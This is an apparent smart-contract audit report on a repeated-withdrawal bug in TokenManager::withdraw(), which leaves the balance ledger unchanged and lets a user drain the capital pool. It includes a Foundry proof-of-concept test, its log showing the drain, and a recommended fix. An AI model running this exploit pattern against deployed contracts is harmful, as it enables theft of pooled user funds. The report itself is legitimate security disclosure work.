Summary
In a nutshell, the function TokenManager::withdraw()
does not update the ledger userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType]
when the withdrawal happens, so that it will allow repeated withdrawal until the entire capital pool for that token is drained.
Vulnerability Details
This issue is quite straight forward. This test below can serve as the POC. To run it, add it to the PreMarkets.t.sol
file first.
function test_withdraw_multiple_times() public {
test_ask_offer_turbo_usdc();
uint previous_accounting = tokenManager.userTokenBalanceMap(user,address(mockUSDCToken),TokenBalanceType.SalesRevenue);
emit log_named_uint("userTokenBalanceMap[user][TokenBalanceType.SalesRevenue]", previous_accounting);
emit log_string("deal capitalPool with 3 times balances");
deal(address(mockUSDCToken), address(capitalPool), 3 * previous_accounting);
uint previous_balance = mockUSDCToken.balanceOf(user);
emit log_named_uint("user usdc balance before multiple withdraw", mockUSDCToken.balanceOf(user));
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
for (uint i = 0; i < 3; i++) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
emit log_named_uint("After withdraw round # ", i+1);
emit log_named_uint("Current user usdc balance", mockUSDCToken.balanceOf(user));
}
emit log_named_uint("user usdc balance after multiple withdraw", mockUSDCToken.balanceOf(user));
emit log_named_uint("userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] before withdraw", previous_accounting);
emit log_named_uint("user usdc balance increase by", mockUSDCToken.balanceOf(user) - previous_balance);
emit log_named_uint("userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] after withdraw", tokenManager.userTokenBalanceMap(user,address(mockUSDCToken),TokenBalanceType.SalesRevenue));
}
And, below is the log for the test:
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_withdraw_multiple_times() (gas: 1565459)
Logs:
userTokenBalanceMap[user][TokenBalanceType.SalesRevenue]: 17000000000000000
deal capitalPool with 3 times balances
user usdc balance before multiple withdraw: 99999999982825000000000000
After withdraw round # : 1
Current user usdc balance: 99999999999825000000000000
After withdraw round # : 2
Current user usdc balance: 100000000016825000000000000
After withdraw round # : 3
Current user usdc balance: 100000000033825000000000000
user usdc balance after multiple withdraw: 100000000033825000000000000
userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] before withdraw: 17000000000000000
user usdc balance increase by: 51000000000000000
userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] after withdraw: 17000000000000000
Impact
This bug can drain the capital pool. Definitely a H severity issue.
Tools Used
Manual Review
Recommendations
Update the userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType]
when withdrawal happens, and better to use the Checks-Effects-Interactions (CEI) pattern.